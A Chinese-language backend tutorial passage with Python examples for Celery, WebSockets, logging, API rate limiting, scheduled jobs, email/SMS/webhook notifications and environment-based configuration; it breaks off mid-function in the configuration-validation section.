① 发送邮件/短信(耗时 1-5 秒)。② 生成 PDF/Excel 报表(耗时 10-60 秒)。③ 调用第三方 API(网络不稳定)。④ 数据同步/ETL(耗时分钟级)。⑤ 定时任务(每日凌晨清理数据)。⑥ 视频/图片处理(耗时 CPU 密集型)。
设置 max_retries=3 限制重试次数。用 countdown=60 设置重试间隔(指数退避)。记录失败任务到数据库,方便排查。Celery 的 acks_late=True 确保任务不会因 Worker 崩溃而丢失。生产环境用 Flower 监控任务状态:celery -A celery_app flower。
① Worker 数量 = CPU 核心数 × 2 + 1(I/O 密集型可更多)。② 用 -c 4 控制并发数。③ 设置 task_time_limit=300(单任务最长 5 分钟)。④ 设置 task_soft_time_limit=250(软超时抛异常,可清理资源)。⑤ 用 --max-tasks-per-child=1000 防止内存泄漏。⑥ Redis broker 设置 broker_pool_limit=10 控制连接池。
HTTP 是"请求-响应"模式——客户端不问,服务器不说。WebSocket 让服务器可以主动推送消息给客户端(聊天、通知、实时数据)。
# FastAPI WebSocket
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
app = FastAPI()
clients = set()
@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
clients.add(websocket)
try:
while True:
data = await websocket.receive_text()
# 广播给所有连接的客户端
for client in clients:
await client.send_text(f"收到: {data}")
except WebSocketDisconnect:
clients.remove(websocket)
# 安装:pip install channels channels-redis
# settings.py
ASGI_APPLICATION = 'myproject.asgi.application'
CHANNEL_LAYERS = {
'default': {
'BACKEND': 'channels_redis.core.RedisChannelLayer',
'CONFIG': {'hosts': [('localhost', 6379)]},
},
}
# consumers.py
from channels.generic.websocket import AsyncWebsocketConsumer
class ChatConsumer(AsyncWebsocketConsumer):
async def connect(self):
self.room_name = self.scope['url_route']['kwargs']['room_name']
await self.channel_layer.group_add(self.room_name, self.channel_name)
await self.accept()
async def receive(self, text_data):
await self.channel_layer.group_send(
self.room_name,
{'type': 'chat_message', 'message': text_data}
)
async def chat_message(self, event):
await self.send(text_data=event['message'])
① 聊天室/即时通讯。② 实时通知(订单状态变更)。③ 实时数据看板(股票行情)。④ 协同编辑(多人同时编辑文档)。⑤ 在线游戏。
# WebSocket 认证——连接时验证 Token
from fastapi import WebSocket, WebSocketDisconnect
from jose import jwt
async def get_ws_user(websocket: WebSocket):
"""从 WebSocket 连接中获取用户"""
token = websocket.query_params.get("token")
if not token:
# 也支持从 Header 获取
auth = websocket.headers.get("Authorization", "")
token = auth.replace("Bearer ", "") if auth else None
if not token:
await websocket.close(code=4001, reason="未提供 Token")
return None
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload["sub"]
except Exception:
await websocket.close(code=4002, reason="Token 无效")
return None
@app.websocket("/ws/chat")
async def chat_ws(websocket: WebSocket):
user_id = await get_ws_user(websocket)
if not user_id:
return
await websocket.accept()
# 加入用户专属频道
await channel_layer.group_add(f"user:{user_id}", websocket)
try:
while True:
data = await websocket.receive_json()
await handle_message(user_id, data)
except WebSocketDisconnect:
await channel_layer.group_discard(f"user:{user_id}", websocket)
# 心跳——检测连接是否存活
import asyncio
@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
await websocket.accept()
async def heartbeat():
"""每 30 秒发送 ping"""
while True:
try:
await asyncio.sleep(30)
await websocket.send_json({"type": "ping"})
except Exception:
break
# 启动心跳任务
heartbeat_task = asyncio.create_task(heartbeat())
try:
while True:
data = await websocket.receive_json()
if data.get("type") == "pong":
continue # 心跳响应,忽略
await process_message(data)
except WebSocketDisconnect:
heartbeat_task.cancel()
# 前端配合
# ws.onmessage = (e) => {
# const data = JSON.parse(e.data);
# if (data.type === 'ping') {
# ws.send(JSON.stringify({ type: 'pong' }));
# }
# };
# 多房间聊天室
from collections import defaultdict
rooms: dict[str, set[WebSocket]] = defaultdict(set)
@app.websocket("/ws/room/{room_id}")
async def room_ws(websocket: WebSocket, room_id: str):
await websocket.accept()
rooms[room_id].add(websocket)
# 通知房间内其他人
await broadcast(room_id, {"type": "system", "message": "新用户加入"})
try:
while True:
data = await websocket.receive_text()
await broadcast(room_id, {"type": "message", "content": data})
except WebSocketDisconnect:
rooms[room_id].discard(websocket)
await broadcast(room_id, {"type": "system", "message": "用户离开"})
async def broadcast(room_id: str, message: dict):
"""广播消息到房间内所有客户端"""
for client in rooms[room_id]:
try:
await client.send_json(message)
except Exception:
rooms[room_id].discard(client)
① 聊天室/即时通讯。② 实时通知(订单状态变更)。③ 实时数据看板(股票行情)。④ 协同编辑(多人同时编辑文档)。⑤ 在线游戏。⑥ 实时日志流。
单台服务器 WebSocket 连接数上限约 10 万(受限于内存和文件描述符)。百万级需要:① 多台 WebSocket 服务器 + Nginx 负载均衡。② Redis Pub/Sub 做跨服务器消息广播。③ 心跳检测清理死连接。④ 连接数监控和告警。
① 连接时认证(Token 验证)。② 心跳检测(30 秒 ping/pong)。③ 断线重连(前端指数退避重连)。④ 消息协议(JSON 格式,带 type 字段)。⑤ 房间管理(按频道分组)。⑥ 消息持久化(重要消息存数据库)。
print() 不是日志系统。生产环境需要结构化日志——记录时间、级别、请求ID、用户ID,方便排查问题。
import logging
from logging.handlers import RotatingFileHandler
# 配置日志
def setup_logging():
logger = logging.getLogger()
logger.setLevel(logging.INFO)
# 格式:时间 [级别] 模块名: 消息
formatter = logging.Formatter(
'%(asctime)s [%(levelname)s] %(name)s:%(lineno)d - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
# 控制台输出
console = logging.StreamHandler()
console.setFormatter(formatter)
logger.addHandler(console)
# 文件输出(带日志轮转)
file_handler = RotatingFileHandler(
'logs/app.log',
maxBytes=10 * 1024 * 1024, # 单个文件最大 10MB
backupCount=5, # 保留 5 个备份
encoding='utf-8'
)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
# ERROR 单独输出到文件
error_handler = RotatingFileHandler(
'logs/error.log',
maxBytes=10 * 1024 * 1024,
backupCount=10,
encoding='utf-8'
)
error_handler.setLevel(logging.ERROR)
error_handler.setFormatter(formatter)
logger.addHandler(error_handler)
# 使用
logger = logging.getLogger(__name__)
logger.info("用户登录成功", extra={"user_id": 123})
logger.error("数据库连接失败", exc_info=True)
# pip install python-json-logger
import logging
from pythonjsonlogger import jsonlogger
# JSON 格式日志(方便 ELK 解析)
def setup_json_logging():
logger = logging.getLogger()
handler = logging.FileHandler('logs/app.json.log')
formatter = jsonlogger.JsonFormatter(
fmt='%(asctime)s %(levelname)s %(name)s %(message)s',
rename_fields={'asctime': 'timestamp', 'levelname': 'level'}
)
handler.setFormatter(formatter)
logger.addHandler(handler)
# 输出示例:
# {"timestamp": "2024-06-26 10:30:00", "level": "INFO", "name": "app.auth",
# "message": "用户登录成功", "user_id": 123, "ip": "192.168.1.100"}
# 每个请求分配唯一 ID,贯穿整个调用链
import uuid
import contextvars
# 请求上下文变量
request_id_var = contextvars.ContextVar('request_id', default='')
# FastAPI 中间件——自动注入 Request ID
from starlette.middleware.base import BaseHTTPMiddleware
class RequestIDMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
rid = request.headers.get('X-Request-ID', uuid.uuid4().hex[:12])
request_id_var.set(rid)
response = await call_next(request)
response.headers['X-Request-ID'] = rid
return response
app.add_middleware(RequestIDMiddleware)
# 自定义日志过滤器——自动注入 Request ID
class RequestIDFilter(logging.Filter):
def filter(self, record):
record.request_id = request_id_var.get('')
return True
# 日志格式加上 request_id
formatter = logging.Formatter(
'%(asctime)s [%(levelname)s] [%(request_id)s] %(name)s: %(message)s'
)
logger.addFilter(RequestIDFilter())
# 输出:2024-06-26 10:30:00 [INFO] [a1b2c3d4e5f6] app.auth: 用户登录成功
# 不同模块不同日志级别
logging.getLogger('app.auth').setLevel(logging.INFO) # 认证模块 INFO
logging.getLogger('app.db').setLevel(logging.WARNING) # 数据库模块 WARNING
logging.getLogger('sqlalchemy.engine').setLevel(logging.WARNING) # SQL 日志
logging.getLogger('urllib3').setLevel(logging.WARNING) # HTTP 客户端
# 开发环境打印 SQL 语句
logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
# 输出:INFO sqlalchemy.engine: SELECT users.id, users.name FROM users WHERE users.id = 1
# FastAPI 请求日志中间件
import time
@app.middleware("http")
async def log_requests(request, call_next):
start = time.time()
response = await call_next(request)
duration = time.time() - start
logger.info(
f"{request.method} {request.url.path} → {response.status_code} ({duration:.3f}s)",
extra={
'method': request.method,
'path': request.url.path,
'status': response.status_code,
'duration': round(duration, 3),
'ip': request.client.host,
}
)
# 慢请求告警
if duration > 2.0:
logger.warning(f"慢请求: {request.method} {request.url.path} 耗时 {duration:.2f}s")
return response
# Django settings.py 日志配置
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'verbose': {
'format': '{asctime} [{levelname}] {name}:{lineno} - {message}',
'style': '{',
},
},
'handlers': {
'file': {
'class': 'logging.handlers.RotatingFileHandler',
'filename': 'logs/django.log',
'maxBytes': 10*1024*1024,
'backupCount': 5,
'formatter': 'verbose',
},
},
'root': {
'handlers': ['file'],
'level': 'INFO',
},
}
生产环境用 Filebeat 收集日志 → 发送到 Elasticsearch 存储和索引 → Kibana 可视化查询。支持按关键词、时间范围、错误级别过滤。JSON 格式日志用 python-json-logger 库。轻量替代方案:Loki + Grafana(资源消耗更少)。
① 不要在日志中记录密码、Token、身份证号等敏感信息。② 日志要有上下文(请求ID、用户ID、IP)。③ ERROR 级别要带上完整堆栈(exc_info=True)。④ 日志文件要轮转(防止磁盘撑满)。⑤ 不同环境不同级别(开发 DEBUG,生产 INFO)。⑥ 用结构化 JSON 日志(方便 ELK 解析)。
① 同步写日志会拖慢请求——用异步日志 handler(logging.handlers.QueueHandler)。② 大量 DEBUG 日志在生产环境即使不输出,字符串格式化也会执行——用 if logger.isDebugEnabled(): 或 lazy formatting。③ 日志写入磁盘用 BufferingHandler 批量写入。
没有限流的 API 就像没有闸门的水坝——恶意用户一秒发 10 万个请求,你的服务器就挂了。
# 令牌桶:以固定速率往桶里放令牌,请求需要消耗令牌
import time
import redis
r = redis.Redis()
def is_rate_limited(user_id: str, limit: int = 100, window: int = 60) -> bool:
"""滑动窗口限流:每 window 秒最多 limit 次。返回 True 表示被限流"""
key = f"rate:{user_id}"
now = time.time()
pipe = r.pipeline()
pipe.zremrangebyscore(key, 0, now - window) # 清除窗口外的记录
pipe.zadd(key, {str(now): now}) # 添加当前请求
pipe.zcard(key) # 统计窗口内请求数
pipe.expire(key, window) # 设置过期
_, _, count, _ = pipe.execute()
return count > limit
① 按 IP 限流(防刷)。② 按用户限流(公平使用)。③ 按接口限流(保护敏感接口)。④ 全局限流(保护服务器总容量)。一般登录接口限制 5 次/分钟,普通 API 限制 100 次/分钟。
# 令牌桶:以固定速率往桶里放令牌,请求消耗令牌
# 特点:允许突发流量(桶满时可以一次取多个令牌)
import time
import threading
class TokenBucket:
def __init__(self, rate: float, capacity: int):
self.rate = rate # 每秒产生的令牌数
self.capacity = capacity # 桶的最大容量
self.tokens = capacity # 当前令牌数
self.last_refill = time.time()
self.lock = threading.Lock()
def consume(self, tokens: int = 1) -> bool:
with self.lock: # 注意:async 环境下可用 asyncio.Lock 替代,但此临界区极短,threading.Lock 也可接受
now = time.time()
# 补充令牌
elapsed = now - self.last_refill
self.tokens = min(self.capacity, self.tokens + elapsed * self.rate)
self.last_refill = now
if self.tokens >= tokens:
self.tokens -= tokens
return True # 允许请求
return False # 拒绝请求
# 使用:每个用户一个令牌桶
buckets = {} # {user_id: TokenBucket}
def is_allowed(user_id: str) -> bool:
if user_id not in buckets:
buckets[user_id] = TokenBucket(rate=10, capacity=20) # 10/s,突发 20
return buckets[user_id].consume()
# 滑动窗口:精确统计时间窗口内的请求数
import time
import redis
r = redis.Redis()
def sliding_window_limit(user_id: str, limit: int = 100, window: int = 60) -> bool:
"""滑动窗口限流:每 window 秒最多 limit 次。返回 True 表示被限流"""
key = f"rate:{user_id}"
now = time.time()
pipe = r.pipeline()
pipe.zremrangebyscore(key, 0, now - window) # 清除窗口外的记录
pipe.zadd(key, {str(now): now}) # 添加当前请求
pipe.zcard(key) # 统计窗口内请求数
pipe.expire(key, window) # 设置过期
_, _, count, _ = pipe.execute()
return count > limit
# 返回剩余配额(给客户端)
def get_rate_limit_info(user_id: str, limit: int = 100, window: int = 60):
key = f"rate:{user_id}"
count = r.zcard(key)
return {
"X-RateLimit-Limit": limit, # 总配额
"X-RateLimit-Remaining": max(0, limit - count), # 剩余配额
"X-RateLimit-Reset": int(time.time()) + window, # 重置时间
}
# FastAPI 限流中间件
from fastapi import Request
from fastapi.responses import JSONResponse
@app.middleware("http")
async def rate_limit(request: Request, call_next):
# 获取用户标识(IP 或 Token)
user_id = request.client.host
auth = request.headers.get("Authorization")
if auth:
user_id = auth # 登录用户按 Token 限流
# 不同接口不同限流策略
path = request.url.path
if path.startswith("/api/auth/login"):
limit, window = 5, 60 # 登录接口:5次/分钟
elif path.startswith("/api/"):
limit, window = 100, 60 # 普通API:100次/分钟
else:
limit, window = 200, 60 # 其他:200次/分钟
if sliding_window_limit(user_id, limit, window):
info = get_rate_limit_info(user_id, limit, window)
return JSONResponse(
status_code=429,
content={"error": "请求过于频繁,请稍后再试", "retry_after": window},
headers={
"Retry-After": str(window),
"X-RateLimit-Limit": str(info["X-RateLimit-Limit"]),
"X-RateLimit-Remaining": str(info["X-RateLimit-Remaining"]),
}
)
response = await call_next(request)
return response
# 不依赖 Redis 的内存限流(适合单机部署)
from collections import defaultdict
import time
class SlidingWindowCounter:
def __init__(self):
self.counters = defaultdict(list)
def is_allowed(self, key: str, limit: int, window: int) -> bool:
now = time.time()
# 清理过期记录
self.counters[key] = [t for t in self.counters[key] if t > now - window]
if len(self.counters[key]) >= limit:
return False
self.counters[key].append(now)
return True
limiter = SlidingWindowCounter()
# 使用
if not limiter.is_allowed("user:123", limit=100, window=60):
return {"error": "请求过于频繁"}, 429
# IP 黑白名单
BLOCKED_IPS = {"1.2.3.4", "5.6.7.8"}
ALLOWED_IPS = {"10.0.0.1"} # 白名单优先
@app.middleware("http")
async def ip_filter(request: Request, call_next):
client_ip = request.client.host
# 白名单直接放行
if client_ip in ALLOWED_IPS:
return await call_next(request)
# 黑名单直接拒绝
if client_ip in BLOCKED_IPS:
return JSONResponse(status_code=403, content={"error": "IP 被封禁"})
return await call_next(request)
# 动态黑名单(自动封禁频繁违规的 IP)
from collections import defaultdict
violation_counts = defaultdict(int)
def record_violation(ip: str):
violation_counts[ip] += 1
if violation_counts[ip] >= 10: # 累计 10 次违规
BLOCKED_IPS.add(ip)
redis.sadd("blocked_ips", ip) # 持久化到 Redis
① 按 IP 限流(防刷)。② 按用户限流(公平使用)。③ 按接口限流(保护敏感接口)。④ 全局限流(保护服务器总容量)。一般登录接口限制 5 次/分钟,普通 API 限制 100 次/分钟。支付接口限制 10 次/分钟。
① 检查 User-Agent(爬虫通常没有或用默认值)。② 检查请求频率。③ 关键操作加验证码(极验、 hCaptcha)。④ 动态渲染页面(JavaScript 渲染)。⑤ 使用 Cloudflare 等 WAF。⑥ 关键数据加水印(追踪泄露源)。
遵循 HTTP 标准,返回限流信息:X-RateLimit-Limit(总配额)、X-RateLimit-Remaining(剩余配额)、X-RateLimit-Reset(重置时间戳)、Retry-After(等待秒数)。让客户端知道何时可以重试。
定时任务是后端的"闹钟"——每天凌晨清理过期数据、每小时同步库存、每周生成报表。
# pip install apscheduler
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.triggers.cron import CronTrigger
from apscheduler.triggers.interval import IntervalTrigger
from apscheduler.triggers.date import DateTrigger
from datetime import datetime, timedelta
scheduler = BackgroundScheduler()
# 1. Cron 触发器(类 Linux crontab)
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def cleanup_expired():
"""每天凌晨 2 点清理过期数据"""
count = db.query(Token).filter(Token.expire_at < datetime.now()).delete()
db.commit()
print(f"清理了 {count} 条过期记录")
# 2. 间隔触发器(固定时间间隔)
@scheduler.scheduled_job(IntervalTrigger(minutes=5))
def sync_inventory():
"""每 5 分钟同步一次库存"""
update_stock_from_warehouse()
# 3. 日期触发器(一次性任务)
@scheduler.scheduled_job(DateTrigger(run_date=datetime.now() + timedelta(hours=1)))
def send_reminder():
"""1 小时后发送提醒"""
send_notification("记得完成今日任务")
# 4. 带参数的任务
@scheduler.scheduled_job(CronTrigger(hour=9, minute=0), args=["weekly"])
def generate_report(report_type: str):
"""每天 9 点生成日报,每周一生成周报"""
create_report(report_type)
scheduler.start()
# Crontab 格式:分 时 日 月 周
# ┌───── 分钟 (0-59)
# │ ┌───── 小时 (0-23)
# │ │ ┌───── 日 (1-31)
# │ │ │ ┌───── 月 (1-12)
# │ │ │ │ ┌───── 周 (0-6, 0=周日)
# * * * * *
# 常用表达式
# * * * * * 每分钟
# */5 * * * * 每 5 分钟
# 0 * * * * 每小时整点
# 0 2 * * * 每天凌晨 2 点
# 0 9 * * 1-5 工作日早上 9 点
# 0 0 1 * * 每月 1 号零点
# 0 0 * * 0 每周日零点
# 30 2 1,15 * * 每月 1 号和 15 号凌晨 2:30
# APScheduler CronTrigger 对应
CronTrigger(hour=2, minute=0) # 0 2 * * *
CronTrigger(minute='*/5') # */5 * * * *
CronTrigger(hour=9, minute=0, day_of_week='mon-fri') # 0 9 * * 1-5
# 默认任务存在内存中,重启后丢失。用 Redis 或数据库持久化
# 方式1:Redis 存储
from apscheduler.jobstores.redis import RedisJobStore
jobstores = {
'default': RedisJobStore(
jobs_key='apscheduler.jobs',
run_times_key='apscheduler.run_times',
host='localhost', port=6379
)
}
scheduler = BackgroundScheduler(jobstores=jobstores)
# 方式2:数据库存储(SQLAlchemy)
from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore
jobstores = {
'default': SQLAlchemyJobStore(url='sqlite:///jobs.sqlite')
}
# 方式3:MongoDB 存储
from apscheduler.jobstores.mongodb import MongoDBJobStore
jobstores = {
'default': MongoDBJobStore(host='localhost', port=27017, database='mydb')
}
# 多台服务器运行同一个定时任务会重复执行
# 用 Redis 分布式锁解决
import redis
import time
r = redis.Redis()
def distributed_lock(lock_name: str, expire: int = 300):
"""分布式锁装饰器"""
def decorator(func):
def wrapper(*args, **kwargs):
lock_key = f"lock:{lock_name}"
# 尝试获取锁(SET NX EX = 设置 + 不存在才设置 + 过期时间)
acquired = r.set(lock_key, "1", nx=True, ex=expire)
if not acquired:
print(f"任务 {lock_name} 正在其他服务器执行,跳过")
return
try:
return func(*args, **kwargs)
finally:
r.delete(lock_key) # 释放锁
return wrapper
return decorator
# 使用
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
@distributed_lock("cleanup_expired")
def cleanup_expired():
"""只有一台服务器会执行"""
# 清理逻辑...
# 任务执行日志
from apscheduler.events import EVENT_JOB_EXECUTED, EVENT_JOB_ERROR
def job_listener(event):
if event.exception:
# 任务失败——发送告警
send_alert(f"定时任务 {event.job_id} 执行失败: {event.exception}")
# 记录到数据库
FailedJobLog.create(
job_id=event.job_id,
error=str(event.exception),
traceback=traceback.format_exc()
)
else:
# 任务成功——记录日志
print(f"任务 {event.job_id} 执行成功")
scheduler.add_listener(job_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)
# 任务执行超时监控(跨平台方案:threading.Timer,兼容 Windows/Linux/macOS)
import threading
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def long_running_task():
timeout_seconds = 600 # 10 分钟超时
timed_out = threading.Event()
def timeout_handler():
timed_out.set()
# 注意:不能直接终止线程,需要在任务内部检查 timed_out.is_set()
timer = threading.Timer(timeout_seconds, timeout_handler)
timer.start()
try:
# 长时间任务... 在关键步骤中检查 timed_out.is_set()
if timed_out.is_set():
raise TimeoutError("任务执行超时")
finally:
timer.cancel() # 取消定时器
① APScheduler + Redis:轻量,适合简单场景,需要自己处理分布式锁。② Celery Beat:功能完善,自带分布式调度,适合已有 Celery 的项目。③ XXL-JOB:Java 生态的分布式调度平台,有 Web 管理界面。④ Airflow:复杂工作流调度(DAG),适合数据管道。
① 任务要幂等(重复执行结果一样)。② 任务要可中断(支持优雅停止)。③ 任务要有超时限制(防止卡死)。④ 任务要有重试机制(网络抖动自动重试)。⑤ 任务要有执行日志(方便排查)。⑥ 大任务拆分成小任务(避免长时间占用资源)。
分 时 日 月 周。* * * * * 每分钟。0 2 * * * 每天凌晨 2 点。*/5 * * * * 每 5 分钟。0 0 * * 1 每周一零点。0 9 * * 1-5 工作日早上 9 点。用 crontab -e 编辑,crontab -l 查看。
通知是后端和用户沟通的桥梁——注册验证邮件、密码重置、订单状态变更、系统告警。
# SMTP 发送邮件
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
def send_email(to: str, subject: str, html: str, attachments: list = None):
msg = MIMEMultipart('alternative')
msg['From'] = 'MyApp <noreply@example.com>'
msg['To'] = to
msg['Subject'] = subject
# HTML 正文
msg.attach(MIMEText(html, 'html', 'utf-8'))
# 附件
if attachments:
for filepath in attachments:
with open(filepath, 'rb') as f:
part = MIMEBase('application', 'octet-stream')
part.set_payload(f.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', f'attachment; filename="{Path(filepath).name}"')
msg.attach(part)
with smtplib.SMTP_SSL('smtp.qq.com', 465) as server:
server.login('your@qq.com', '授权码')
server.send_message(msg)
# 用 Jinja2 渲染邮件模板
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates/email'))
def send_verification_email(to: str, username: str, verify_url: str):
template = env.get_template('verify_email.html')
html = template.render(
username=username,
verify_url=verify_url,
expire_minutes=30,
)
send_email(to, "请验证您的邮箱", html)
# templates/email/verify_email.html
# <h1>欢迎 {{ username }}!</h1>
# <p>请点击以下链接验证邮箱({{ expire_minutes }} 分钟内有效):</p>
# <a href="{{ verify_url }}" style="background:#2563eb;color:#fff;padding:12px 24px;text-decoration:none;border-radius:6px">验证邮箱</a>
# 常用邮件模板
# 1. 注册验证邮件
# 2. 密码重置邮件
# 3. 订单确认邮件
# 4. 系统告警邮件
# 5. 每周摘要邮件
# 邮件发送很慢(1-5 秒),必须异步
from celery import Celery
celery = Celery('myapp', broker='redis://localhost:6379/1')
@celery.task(bind=True, max_retries=3)
def send_email_async(self, to: str, subject: str, html: str):
try:
send_email(to, subject, html)
except Exception as exc:
raise self.retry(exc=exc, countdown=60)
# 路由中调用
@app.post("/api/register")
def register(data: UserCreate):
user = create_user(data)
# 异步发送验证邮件
send_email_async.delay(
user.email,
"请验证您的邮箱",
render_template('verify.html', user=user)
)
return {"message": "注册成功,请查收验证邮件"}
# 阿里云短信
from alibabacloud_dysmsapi20170525.client import Client
from alibabacloud_dysmsapi20170525 import models as sms_models
from alibabacloud_tea_openapi import models as open_api_models
config = open_api_models.Config(
access_key_id='your-access-key-id',
access_key_secret='your-access-key-secret'
)
config.endpoint = 'dysmsapi.aliyuncs.com'
client = Client(config)
def send_sms(phone: str, template_code: str, params: dict):
request = sms_models.SendSmsRequest(
phone_numbers=phone,
sign_name='你的签名',
template_code=template_code, # SMS_123456789
template_param=json.dumps(params) # {"code": "123456"}
)
response = client.send_sms(request)
return response.body.code == 'OK'
# 腾讯云短信
# from tencentcloud.sms.v20210111 import sms_client, models
# 使用方式类似
# 短信验证码存储(Redis + 5 分钟过期)
def send_verify_code(phone: str):
code = f"{random.randint(100000, 999999)}"
redis.setex(f"sms:code:{phone}", 300, code) # 5 分钟过期
send_sms(phone, "SMS_123456789", {"code": code})
def verify_code(phone: str, code: str) -> bool:
stored = redis.get(f"sms:code:{phone}")
if stored and stored.decode() == code:
redis.delete(f"sms:code:{phone}") # 验证后立即删除
return True
return False
# Webhook 回调——通知外部系统
import httpx
import hmac
import hashlib
async def notify_webhook(url: str, data: dict, secret: str = None):
"""发送 Webhook 回调"""
body = json.dumps(data, default=str)
headers = {"Content-Type": "application/json"}
if secret:
# 签名验证(防止伪造)
signature = hmac.new(secret.encode(), body.encode(), hashlib.sha256).hexdigest()
headers["X-Signature"] = f"sha256={signature}"
async with httpx.AsyncClient() as client:
response = await client.post(url, content=body, headers=headers, timeout=10)
return response.status_code == 200
# Webhook 重试机制
@celery.task(bind=True, max_retries=5)
def send_webhook_with_retry(self, url: str, data: dict):
success = asyncio.run(notify_webhook(url, data))
if not success:
raise self.retry(countdown=60 * (2 ** self.request.retries)) # 指数退避
# 常见 Webhook 场景
# 1. 订单状态变更 → 通知商家系统
# 2. 用户注册 → 通知 CRM 系统
# 3. 支付成功 → 通知财务系统
# 4. 系统告警 → 通知钉钉/企业微信/Slack
# 钉钉机器人通知
async def send_dingtalk(message: str, webhook_url: str):
data = {
"msgtype": "markdown",
"markdown": {
"title": "系统通知",
"text": message
}
}
async with httpx.AsyncClient() as client:
await client.post(webhook_url, json=data)
# 企业微信机器人通知
async def send_wechat_work(message: str, webhook_url: str):
data = {
"msgtype": "text",
"text": {"content": message}
}
async with httpx.AsyncClient() as client:
await client.post(webhook_url, json=data)
# 使用场景
# 线上错误 → 钉钉群告警
# 订单异常 → 企业微信群通知
# 部署完成 → Slack 通知
邮件和短信发送很慢(1-5 秒),不要在请求中同步执行。用 Celery 异步任务或 FastAPI 的 BackgroundTasks 后台发送。发送失败要重试(网络抖动),但要限制重试次数(防止无限重试)。
① 通知要有优先级(紧急通知短信,普通通知邮件)。② 通知要有频率限制(防止轰炸用户)。③ 通知要有模板(统一格式,方便维护)。④ 通知要有送达确认(记录发送状态)。⑤ 通知要有用户偏好(允许用户关闭某些通知)。
① 设置 SPF/DKIM/DMARC(防止被标记为垃圾邮件)。② 邮件内容要有退订链接(法律要求)。③ 不要在短时间内发送大量邮件(会被限流)。④ 用专业的邮件服务(SendGrid、Mailgun、阿里云邮件推送)比自己搭建 SMTP 更可靠。
开发、测试、生产环境的配置不同(数据库地址、密钥、日志级别)。配置管理的核心原则:代码和配置分离。
# .env 文件(不要提交到 Git!)
DATABASE_URL=postgresql://user:pass@localhost/mydb
SECRET_KEY=dev-secret-key-123
REDIS_URL=redis://localhost:6379/0
DEBUG=true
# python-dotenv 读取 .env
from dotenv import load_dotenv
import os
load_dotenv() # 加载 .env 文件
DATABASE_URL = os.environ.get('DATABASE_URL')
SECRET_KEY = os.environ.get('SECRET_KEY')
DEBUG = os.environ.get('DEBUG', 'false').lower() == 'true'
# Pydantic Settings(推荐)
from pydantic_settings import BaseSettings
class Settings(BaseSettings):
database_url: str
secret_key: str
redis_url: str = 'redis://localhost:6379/0'
debug: bool = False
model_config = {'env_file': '.env'}
settings = Settings() # 自动从环境变量和 .env 读取
# 方式1:按环境变量区分配置文件
# .env.development
DATABASE_URL=sqlite:///dev.db
DEBUG=true
LOG_LEVEL=DEBUG
# .env.testing
DATABASE_URL=sqlite:///:memory:
DEBUG=true
LOG_LEVEL=DEBUG
# .env.production
DATABASE_URL=postgresql://user:pass@prod-db:5432/mydb
DEBUG=false
LOG_LEVEL=WARNING
# 根据环境加载不同配置
import os
env = os.environ.get('APP_ENV', 'development')
load_dotenv(f'.env.{env}')
# 方式2:Pydantic Settings 分环境
from pydantic_settings import BaseSettings
from functools import lru_cache
class Settings(BaseSettings):
database_url: str
secret_key: str
redis_url: str = 'redis://localhost:6379/0'
debug: bool = False
log_level: str = 'INFO'
cors_origins: list[str] = ['http://localhost:3000']
model_config = {'env_file': f'.env.{os.environ.get("APP_ENV", "development")}'}
@lru_cache
def get_settings() -> Settings:
return Settings()
# FastAPI 依赖注入
from fastapi import Depends
@app.get("/api/config")
def show_config(settings: Settings = Depends(get_settings)):
return {"debug": settings.debug, "log_level": settings.log_level}
# 方式1:环境变量注入(Docker/K8s)
# docker-compose.yml
services:
app:
environment:
- DATABASE_URL=postgresql://user:pass@db:5432/mydb
- SECRET_KEY=your-secret-key
# 或从文件读取
env_file:
- .env.production
# 方式2:HashiCorp Vault(企业级密钥管理)
# pip install hvac
import hvac
client = hvac.Client(url='http://vault:8200', token='your-token')
secret = client.secrets.kv.v2.read_secret_version(path='myapp/config')
db_url = secret['data']['data']['database_url']
# 方式3:云厂商密钥管理
# 阿里云 KMS / AWS Secrets Manager / Azure Key Vault
# 从云服务获取密钥,而不是硬编码在配置文件中
# 方式4:配置加密(sops)
# 用 sops 加密配置文件,提交到 Git 也安全
# sops --encrypt .env.production > .env.production.enc
# sops --decrypt .env.production.enc > .env.production
# 配置热更新——不重启服务就能更新配置
import threading
import time
class HotReloadSettings:
def __init__(self, config_path: str):
self.config_path = config_path
self._lock = threading.Lock() # 线程安全锁
self.config = self._load()
self._last_modified = os.path.getmtime(config_path)
self._start_watcher()
def _load(self) -> dict:
with open(self.config_path) as f:
return json.load(f)
def _start_watcher(self):
def watch():
while True:
time.sleep(5)
mtime = os.path.getmtime(self.config_path)
if mtime > self._last_modified:
new_config = self._load()
with self._lock:
self.config = new_config # 原子替换,加锁保护
self._last_modified = mtime
print("配置已热更新")
thread = threading.Thread(target=watch, daemon=True)
thread.start()
def get(self, key, default=None):
with self._lock:
return self.config.get(key, default)
# 使用
config = HotReloadSettings('config.json')
# 运行时修改 config.json 会自动生效
# 启动时验证配置(防止运行时才发现配置错误)
from pydantic_settings import BaseSettings
from pydantic import field_validator
class Settings(BaseSettings):
database_url: str
secret_key: str
debug: bool = False
port: int = 8000
cors_origins: list[str] = ['http://localhost:3000']
@field_validator('secret_key')
@classmethod
def secret_key_must_be_long(cls, v):
if len(v) < 16:
raise ValueError('SECRET_KEY 至少 16 个字符')
return v
@field_validator('database_url')
@classmethod
def database_url_must_be_valid(cls, v):
if not v.startswith(('postgresql://', 'mysql://', 'sqlite://')):
raise ValueError('DATABASE_URL 格式不正确')
return v
@field_validator('port')
@classmethod
def port_must_be_valid(cls, v):
